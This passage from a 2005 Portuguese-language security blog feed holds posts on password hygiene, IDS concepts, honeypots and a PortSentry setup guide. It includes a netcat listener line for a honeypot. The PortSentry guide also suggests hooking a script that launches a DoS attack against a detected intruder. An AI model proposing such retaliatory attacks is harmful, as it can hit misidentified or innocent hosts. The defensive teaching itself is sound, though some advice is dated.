ter por ter sua senha de banco literalmente roubada.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Fique de olho!!!&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;A técnica de senha mais segura consiste em criar uma nova senha segura para cada site da Web ou logon que solicite uma. Isso é tão impossível quanto se lembrar de longas seqüências de caracteres aleatórios. Uma solução fácil é criar uma série de senhas seguras e usá-las nos sites em que você quer estar mais protegido, como bancos, corretagem de ações ou Servidores que você administra. Em seguida, crie uma série pequena de senhas fáceis de lembrar que você pode usar em qualquer lugar.&lt;br /&gt;E não esqueça de troca-la periódicamente.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Se mesmo assim acontecer...&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;Se você desconfiar e/ou descobrir que sua senha foi comprometida tome providências imediatas:&lt;br /&gt;Altere suas senhas.&lt;br /&gt;Avise o serviço de atendimento ao cliente (SAC) das suas contas na Internet (provedor, e-mails e etc).&lt;br /&gt;Avise o seu banco ou instituição financeira.&lt;br /&gt;Solicite um relatório de situação cadastral aos serviços de proteção ao crédito. (SPC, SERASA e etc)&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;Em RESUMO&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Sua senha deve ter no mínimo 8 caracteres;&lt;br /&gt;Misture letras, dígitos e símbolos (*#$%!+ etc...);&lt;br /&gt;Para criar uma senha fácil de lembrar e difícil de ser adivinhada, crie uma frase e use as iniciais, intercalando alguns dígitos ou símbolos:frase: "Charlie Brown nasceu em 2 de outubro"senha: CBne2d10 (trocando outubro por 10) ;&lt;br /&gt;Troque sua senha constantemente. (de mês em mês já mais que o suficiente);&lt;br /&gt;&lt;br /&gt;NÃO use somente letras minúsculas;&lt;br /&gt;NÃO use palavras que constem em dicionário de qualquer idioma ou jargões técnicos;&lt;br /&gt;NÃO use nomes de pessoas ou locais;&lt;br /&gt;NÃO use informações pessoais facilmente acessíveis, como datas de nascimento, número de carteira de identidade, placa do carro;&lt;br /&gt;NÃO use padrões simples ou repetitivos, como palavras de trás para frente ou seqüências numéricas;&lt;br /&gt;NÃO escreva sua senha - memorize-a.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="right"&gt;&lt;strong&gt;&lt;em&gt;Mário Miranda de Magalhães&lt;/em&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-112541039194930898?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/112541039194930898/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=112541039194930898' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112541039194930898'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112541039194930898'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2005/08/dicas-para-uma-senha-segura.html' title='Dicas para uma senha segura!'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-112532690741032212</id><published>2005-08-29T11:29:00.000-03:00</published><updated>2005-08-31T11:42:28.076-03:00</updated><title type='text'>O que é um IDS?</title><content type='html'>Como sempre o google me auxiliou mais uma vez na minha tentativa de definir melhor o que é um IDS.&lt;br /&gt;Tenho alguns agradecimentos a fazer por esse texto:&lt;br /&gt;&lt;br /&gt;William Vianna&lt;br /&gt;Lucas Carvalho&lt;br /&gt;Renata Mesquita&lt;br /&gt;&lt;br /&gt;Pelo apoio, suporte e dicas sobre este texto. Muito Obrigado&lt;br /&gt;&lt;br /&gt;Vamos ao que interessa.&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;No que consiste um IDS?&lt;br /&gt;&lt;br /&gt;&lt;/strong&gt;&lt;strong&gt;&lt;/strong&gt;Desde o seu surgimento, muita pesquisa e dinheiro foram investidos em IDS o que fez com que seu avanço tecnológico crescesse extraordinariamente. Hoje os IDS permitem identificar e de imediato responder a atividades irregulares em um dado sistema. Não só o acesso à internet, mas toda a atividade de uma rede pode ser analisada na tentativa de identificar, por exemplo, um ataque DoS (Denial of Service - Negação de Serviço), ou de Spoofing (Enganando) e ainda contra-atacar ou bloquear IPs suspeitos. E IDS não se limita a apenas isso, porém para entendermos melhor seu funcionamento devemos saber conhecer suas duas principais estruturas conceituais de trabalho. Cada uma destas estruturas procura trabalhar da forma mais eficaz possível, porém de dois métodos simples: O método Preempitivo e o método Reacionário.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Descrição dos métodos de IDS:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Método Preempitivo:&lt;/em&gt;&lt;br /&gt;Este método é conhecido por basicamente reconhecer, através de uma base de dados, a assinatura de ataques, ou seja, seqüências de ações já conhecidas de ataques. O IDS, de forma autônoma, observa a movimentação e o tráfego de rede destinado ao seu host e então as compara com seus registros para identificar possível tentativa de ataque a este host. Podemos comparar então o seu funcionamento com o de programas antivírus, sistemas assim são capazes de identificar a maioria dos ataques existentes.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Método Reacionário:&lt;br /&gt;&lt;/em&gt;O IDS, através da análise dos logs do sistema, cria um perfil de comportamento para os usuários do sistema. O IDS reacionário é capaz de reagir como você à, por exemplo, mudança de atitude da Dona Maria do RH que sempre esteve habituada a apenas utilizar o programa de folha de pagamento e controle de funcionários e derrepente começa a varrer o sistema em busca de arquivos de configuração, interfaces de redes, portas do sistema, levando a um aumento do volume de processamento de CPU e por fim tentasse adivinhar a senha de outros usuários ou do próprio root. Diante desta novidade o IDS pode bloquear a conta da Dona Maria, lançar um contra-ataque para descobrir o endereço IP que esta sendo utilizado por ela, assim como outras informações e bloqueá-lo e enviar um e-mail para o administrador do sistema, tal qual como foi configurado.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Preempitivo X Reacionário:&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;Apesar de já existirem novos métodos de IDS, alguns utilizando inteligência artificial, Estes dois métodos são os mais conhecidos e empregados atualmente. Podemos dizer que o método Reacionário é o mais convencional de detecção de intrusões embora ambos os métodos tem sua eficácia comprovada, portando cabe ao leitor fazer o julgamento de suas estruturas e assim definir por sua própria conta qual é o melhor método para si. Para médotos Preemptivos, a ferramenta mais utilizada no linux é o Snort (o qual eu já falei anteriormente). Ferramenta Open-Source desenvolvida por Marty Roesch possui uma base de dados de milhares de registro comportamentais de possíveis métodos de ataques e é muito simples de ser usado. Já para métodos reacionários, o recomendado é o HostSentry que observa traços e registros de logs para traçar um perfil de comportamento de seus usuários. Também Open-Source para sistemas Unix (incluindo o Linux) esta ferramenta analisa anomalias de tempo e localidade para identificar horários padrões e locais de acessos.&lt;br /&gt;&lt;br /&gt;Sabe-se que mesmo utilizando destas ferramentas nenhum sistema é totalmente seguro. Adotar políticas de senhas, fechar portas que não são usadas, utilizar um bom firewall, gravar e analisar com freqëncias logs de tudo que acontece, criptografar os dados, realizar atualizações de segurança dos programas e do próprio sistema operacional e manter-se informado além da utilização dos IDSs são as maiores ferramentas para manter-se protegido contra ataques. No caso de IDS, conhecer sua terminologia como False Negatives, False Positives, Fragmentation, Honeypot, Evasion e etc. é imprescindível para uma correta configuração de utilização desta tecnologia.&lt;br /&gt;&lt;br /&gt;Espero ter dado uma luz sobre o Assunto.&lt;br /&gt;&lt;br /&gt;Abraços&lt;br /&gt;&lt;br /&gt;&lt;div align="right"&gt;&lt;strong&gt;&lt;em&gt;Mário Miranda de Magalhães&lt;/em&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-112532690741032212?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/112532690741032212/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=112532690741032212' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112532690741032212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112532690741032212'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2005/08/o-que-um-ids.html' title='O que é um IDS?'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-112532304811230115</id><published>2005-08-29T10:19:00.000-03:00</published><updated>2005-08-30T11:19:34.640-03:00</updated><title type='text'>O que é um honeypot?</title><content type='html'>Já que muita gente não sabe o que é um honeypot, resolvi escrever um pouco sobre o tema. O próximo tema (que já estou trabalhando nele) será sobre IDS's.&lt;br /&gt;Achei a maioria das informações no google e em inglês. Fiz uma reunião do que eu achei sobre e ainda acrescentei algumas coisas que achei essencial.&lt;br /&gt;Chega de papo. Vamos ao que realmente interessa.&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;O que é um Honeypot ??&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Honeypot = Pote de Mel&lt;br /&gt;Ferramenta de estudos de segurança, onde sua função principal é colher informações do atacante.&lt;br /&gt;Elemento atraente para o invasor, ou melhor, uma iguaria para um hacker.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;“Um honeypot é um recurso de rede cuja função é de ser atacado e compremetido (invadido). Significa dizer que um Honeypot poderá ser testado, atacado e invadido. Os honeypots não fazem nenhum tipo deprevenção, os mesmos fornecem informações adicionais de valor inestimável”&lt;/em&gt; Lance Spitzner - 2003&lt;br /&gt;&lt;br /&gt;É um sistema que possui falhas de segurança reais ou virtuais, colocadas de maneira proposital, a fim de que seja invadido e que o fruto desta invasão possa ser estudado...&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;A história dos Honeypots&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;“The Cuckoo's Egg”&lt;/em&gt; de Cliford Stool–Durante 10 meses ( 1986/87 ) localizou e encurralou o hacker Hunter.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;"An evening with Berferd”&lt;/em&gt; de BillCheswick–Durante meses estudos as técnicas e criou armadilhas para o hacker Berferd.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;DTK – Deception Toolkit &lt;/em&gt;–Criado por Fred Cohen ( 1997 )–Scripts em Perl e C que simulam vários servidores– Software Livre – Utilizado nos dias de hoje&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Sting – Cybercop ( NAI )&lt;/em&gt; – Utilizado em ambiente Windows NT – Simulava uma rede inteira –Emitia respostas falsas para os atacantes simulando diversos ambientes operacionais.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Projeto Honeynet ( 1999 )&lt;/em&gt; – Lance Spitzner e mais 30 especialistas–Desenvolveu metodologias –Tornou-se referência&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Captura de Worms ( 2001 / 2002)&lt;/em&gt; – CodeRed II e W32/LeavesWorm–Dtspcd ( CDE Subprocess ControlService Server )&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Honeyd – 2002&lt;/em&gt; – Niels Povos – Honeypot Open Source&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Tipos e Níveis de Honeypots&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Honeypots de pesquisa&lt;/em&gt; – Acumular o máximo de informaçõesdos atacantes e suas ferramentas – Grau alto de comprometimento – Redes externas ou sem ligação com rede principal.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Honeypots de produção&lt;/em&gt; – Diminuir risco – Elemento de distração ou dispersão&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Baixa Interatividade&lt;/em&gt; – Serviços Falsos – Listener TCP/UDP – Respostas Falsas&lt;br /&gt;nc -l -p 80 &gt; /var/log/honeypot.log&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Média Interatividade&lt;/em&gt; – Ambiente falso – Cria uma ilusão de domínio da máquina – Estudo melhor das técnicas utilizadas – Invadir o sistema realmente !!&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Alta Interatividade&lt;/em&gt; – SO com serviços comprometidos – Não perceptível ao atacante – Estudo melhor das técnicas utilizadas – Vários riscos: Utilização como trampolim... Repositório de informações roubadas&lt;br /&gt;&lt;br /&gt;Espero ter sido claro e ter esclarecido algumas coisas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="right"&gt;&lt;strong&gt;&lt;em&gt;Mário Miranda de Magalhães&lt;/em&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-112532304811230115?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/112532304811230115/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=112532304811230115' title='4 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112532304811230115'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112532304811230115'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2005/08/o-que-um-honeypot.html' title='O que é um honeypot?'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-112498591527555111</id><published>2005-08-25T13:00:00.000-03:00</published><updated>2005-08-26T11:08:23.340-03:00</updated><title type='text'>Screenshot</title><content type='html'>Como ando sem tempo para atualizar esse blog, vou postar um shot da maquina do meu trabalho.&lt;br /&gt;&lt;br /&gt;Pra quem não sabe, sou um dos responsáveis pela segurança da informação de 3 redes (aproximadamente 650 máquinas) e de 13 servidores.&lt;br /&gt;&lt;br /&gt;Para isso uso o que está no screenshot abaixo:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/2475/1230/1600/shot1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/2475/1230/400/shot.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Espero que gostem.&lt;br /&gt;&lt;br /&gt;Abraços&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Mário Miranda de Magalhães&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-112498591527555111?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/112498591527555111/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=112498591527555111' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112498591527555111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112498591527555111'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2005/08/screenshot.html' title='Screenshot'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-112455297030417509</id><published>2005-08-20T12:16:00.000-03:00</published><updated>2005-08-20T12:59:30.386-03:00</updated><title type='text'>Instalando e configurando o Portsentry</title><content type='html'>O Portsentry realiza toda essa tarefa e ainda permite que se responda ao possível ataque. Outra função muito útil do PortSentry é o bloqueio de ips dos possíveis atacantes ou seja, quando o cracker executa alguma tarefa suspeita seja ela um scan ou uma tentativa de entrar por alguma porta , esse IDS coloca o ip do invasor automaticamente em DENY, isto significa que qualquer conexão vinda deste ip será recusada.&lt;br /&gt;&lt;br /&gt;Ok. Vamos colocar as mãos na massa.&lt;br /&gt;&lt;br /&gt;INSTALAÇÃO&lt;br /&gt;Bom a primeira coisa a fazer é fazer o download do PortSentry em&lt;br /&gt;.:[ &lt;a href="http://easynews.dl.sourceforge.net/sourceforge/sentrytools/portsentry-1.2.tar.gz"&gt;PortSentry&lt;/a&gt; ]:.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;# mkdir /security&lt;/em&gt;&lt;br /&gt;&lt;em&gt;# mv portsentry-1.2.tar.gz /security&lt;/em&gt;&lt;br /&gt;&lt;em&gt;# cd /security&lt;/em&gt;&lt;br /&gt;&lt;em&gt;# tar -xzvf portsentry-1.2.tar.gz&lt;/em&gt;&lt;br /&gt;&lt;em&gt;# ./configure &amp; make &amp;amp; make install&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Feita a instalação, os arquivos necessários para a configuração estão em: &lt;em&gt;/usr/local/psionic/portsentry/&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;portsentry.conf&lt;br /&gt;portsentry.ignore&lt;br /&gt;&lt;br /&gt;E o binário em : &lt;em&gt;/usr/local/bin&lt;br /&gt;&lt;/em&gt;portsentry&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;O Arquivo de configuração portsentry.conf é onde faremos a maioria das configurações.&lt;br /&gt;&lt;br /&gt;Vou comentar algumas destas opções:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Diretiva PORT CONFIGURATIONS&lt;/strong&gt;&lt;br /&gt;Esta diretiva define quais são as portas TCP e UDP que ficarão sob os cuidados do PortSentry.Existem 3 opções : a primeira é a mais simples, monitorando apenas algumas portas; a segunda é uma intermediária, ideal pra quem quer usar o Portsentry em servidores que não desempenham funções tão importantes. Já a terceira é bem agressiva, ideal para utilizá-la para contra ataques. Bom agora é so fazer sua escolha, eu vou me basear na segunda opção a JUST TO BE AWARE, mas você pode escolher qualquer outra opção e a configuração será praticamente a mesma.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;#Just to be aware&lt;/em&gt;&lt;br /&gt;&lt;em&gt;TCP_PORTS="1,11,15,23,79,111,119,143,540,635,1080,1524,2000,5742, 6667,2345,12346,20034,31337,32771,32772,32773,32774,40421,49724,54320"&lt;/em&gt;&lt;br /&gt;&lt;em&gt;UDP_PORTS="1,7,9,69,161,162,513,635,640,641,700,32770,32771, 32772,32773,32774,31337,54321"&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;Aqui estão as portas TCP/UDP que o PortSentry vai "guardar". Analise as portas que tem em cada lista. As portas verdadeiras de seu sistema não devem constar nesta lista. Caso contrário, o PS vai bloquear as tentativas de conexão nelas.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Diretiva ADVANCED STEALTH SCAN DETECTION OPTIONS&lt;br /&gt;&lt;/strong&gt;Nesta opção será declarada a porta que o PortSentry irá verificar com mais cuidado...por default é 1023 tanto para TCP e UDP, não é necessário mudar essa porta, caso você mude tome cuidado para não colocar uma porta que algum serviço esteja rodando!.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;ADVANCED_PORTS_TCP="1023"ADVANCED_PORTS_UDP="1023"&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Além disso é nessa mesma seção que você indica ao PortSentry quais portas serão excluídas da verificação.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;ADVANCED_EXCLUDE_TCP="113,139"ADVANCED_EXCLUDE_UDP="520,138,137,67"&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;&lt;strong&gt;Diretiva CONFIGURATION FILES&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;O primeiro arquivo são os hosts que o PortSentry deve ignorar, ou seja, os hosts que estiverem nesta list não serão analisados por ele. O segundo é o history, ou seja, tudo que o PS já fez, desde analisar conexões até bloquear, tudo estará listado neste arquivo. Equivale a um ~/.bash_history. O terceiro é a lista negra do PortSentry, os atacantes bloqueados por ele e os hosts que ele considera como perigosos. Nessa lista você deve ficar esperto porque às vezes alguém pode cair aí por engano de um falso positivo, então fique sempre analisando esta lista para não ficar sem determinados serviços de comunicação.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;IGNORE_FILE="/usr/local/psionic/portsentry/portsentry.ignore"&lt;/em&gt;&lt;br /&gt;&lt;em&gt;HISTORY_FILE="/usr/local/psionic/portsentry/portsentry.history"&lt;/em&gt;&lt;br /&gt;&lt;em&gt;BLOCKED_FILE="/usr/local/psionic/portsentry/portsentry.blocked"&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Diretiva IGNORE OPTIONS&lt;br /&gt;&lt;/strong&gt;É nesta diretiva que você deve especificar o que o Portsentry vai fazer quando suspeitar de um ataque. Para lançar um contra ataque quando um cracker tentar scanear suas portas habilite as opções e set-as como&lt;br /&gt;&lt;br /&gt;&lt;em&gt;BLOCK_UDP="1"BLOCK_TCP="1"&lt;/em&gt;&lt;br /&gt;Para&lt;br /&gt;&lt;em&gt;BLOCK_UDP="2"BLOCK_TCP="2"&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Depois disso você deve configurar a linha EXTERNAL COMMAND&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Diretiva DROPPING ROUTES&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Defina aqui como o Portsentry irá tratar um possível ataque. A solução mais comum é colocar o IP do invasor em DENY com o iptables. Para isso habilite a seguinte linha&lt;br /&gt;&lt;br /&gt;&lt;em&gt;KILL_ROUTE="/usr/local/sbin/iptables -I INPUT -s $TARGET$ -j DROP"&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;Como você pode ver, é uma regra simples, você pode melhorar a regra do jeito que achar melhor e tudo mais, iptables meu amigo, tem 10001 possibilidades.&lt;br /&gt;&lt;br /&gt;OBS: $TARGET$ = ip do atacante que ele detectou.&lt;br /&gt;&lt;br /&gt;Além de bloquear pelo iptables você também pode utilizar TCP Wrappers para isso:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;KILL_HOSTS_DENY="ALL: $TARGET$ # PortSentry blocked"&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Não recomendo a seção de Droping Route porque dá mais trabalho de liberar IPs bloqueados. KILL_ROUTE já é mais que suficiente.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Diretiva EXTERNAL COMMANDS&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;É aqui que você especifica o contra ataque, agora é a sua imaginação. Perceba que esta é uma opção a parte, ou seja, você pode rodar qualquer script aki.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;KILL_RUN_CMD="/some/path/here/script $TARGET$ $PORT$"&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;OBS : Se você quiser é possivel colocar nessa linha um script que permita um ataque de DoS direcionado para o invasor.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Diretiva SCAN TRIGGER VALUE&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;Esta seção permite que você especifique ao PortSentry, após quantas tentativas de ataque o Portsentry vai soar o alarme ou fazer um possível contra-ataque. O default é 0 mas se pode alterar o valor entra 0 e 2&lt;br /&gt;&lt;br /&gt;&lt;em&gt;SCAN_TRIGGER="0"&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Diretiva PORT BANNER SECTION&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;Com esta diretiva, é possível inserir uma mensagem de aviso para o intruso. Para habilitá-la, basta retirar # da linha.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;PORT_BANNER="** ACESSO PROIBIDO *** INTRUSION DETECTION SYSTEM"&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Pronto, nosso portsentry.conf está configurado agora temos que dar uma olhada no portsentry.ignore.&lt;br /&gt;O Arquivo de configuração - Portsentry.ignore&lt;br /&gt;Nesse arquivo você define quais hosts estarão fora dessas regras, ou seja, se colocarmos o seguinte&lt;br /&gt;ip : 192.1.1.1 , o mesmo estará livre de todas essas configurações.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;# Put hosts in here you never want blocked. This includes the IP addresses# of all local interfaces on the protected host (i.e virtual host, mult-home)&lt;/em&gt;&lt;br /&gt;&lt;em&gt;# Keep 127.0.0.1 and 0.0.0.0 to keep people from playing games.&lt;br /&gt;127.0.0.1&lt;/em&gt;&lt;br /&gt;&lt;em&gt;192.1.1.1&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;RODANDO O PORTSENTRY&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;Agora estamos prontos para rodar o Portsentry e deixá-lo funcionando. Para isso execute o binário que fica em&lt;em&gt; &lt;/em&gt;/usr/local/bin.&lt;br /&gt;&lt;em&gt;# portsentry -tcp&lt;/em&gt;&lt;br /&gt;&lt;em&gt;# portsentry -udp&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;&lt;strong&gt;DETECTANDO UM ATAQUE&lt;br /&gt;&lt;/strong&gt;Depois de configurado, veremos as saídas que o PortSentry gera, suponhamos que um cracker em 192.1.1.1 tentou atacar um Slackware em 192.1.1.2&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;1º&lt;/strong&gt; O cracker tenta se conectar via telnet pela porta 1080 ( que aliás é protegida pelo PortSentry)&lt;br /&gt;&lt;br /&gt;Trying 192.1.1.2...&lt;br /&gt;Connected to 192.1.1.2&lt;br /&gt;Escape character is ?^ ]?&lt;br /&gt;.****Acesso Proibido **** Intrusion Detection System&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;2º&lt;/strong&gt; Logo após isso o ip do cracker é colocado em deny em /etc/hosts.deny&lt;br /&gt;ALL : 192.1.1.1&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;3º&lt;/strong&gt; Será registrado em portsentry.blocked.tcp em /usr/local/psionic/portsentry/ algumas informações do atacante, vale lembrar que este arquivo tem a mesma função do hosts.deny porém dá uma saída mais detalhada.&lt;br /&gt;989675443 - 20/05/2001 10:50:43 Host windows.net.com.br/192.1.1.1 Port:1080 TCP Blocked&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;4º&lt;/strong&gt; Posteriormente o Portsentry fará o iptables negar as conexões vindas de 192.1.1.1&lt;br /&gt;Essas informações foram retiradas de uma tentativa de conexão via uma porta TCP se fosse um UDP as saídas iriam ser as mesmas a não ser o arquivo portsentry.blocked.tcp seria portsentry.blocked.udp&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;DESBLOQUEANDO IPS&lt;br /&gt;&lt;/strong&gt;A primeira coisa a fazer para desbloquear um ip, bloqueado pelo PortSentry é retirar a regra que bloqueia o host pelo iptables&lt;br /&gt;Depois disto retire a entrada referente ao IP do cracker no &lt;em&gt;/etc/hosts.deny&lt;/em&gt; e ou &lt;em&gt;/usr/local/psionic/portsentry/portsentry.blocked.tcp&lt;/em&gt; ou &lt;em&gt;/usr/local/psionic/portsentry/portsentry.blocked.udp&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Agora inicialize o Portsentry e pronto. Vc tem UM IDS implementado no seu sistema.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-112455297030417509?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/112455297030417509/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=112455297030417509' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112455297030417509'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112455297030417509'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2005/08/instalando-e-configurando-o-portsentry.html' title='Instalando e configurando o 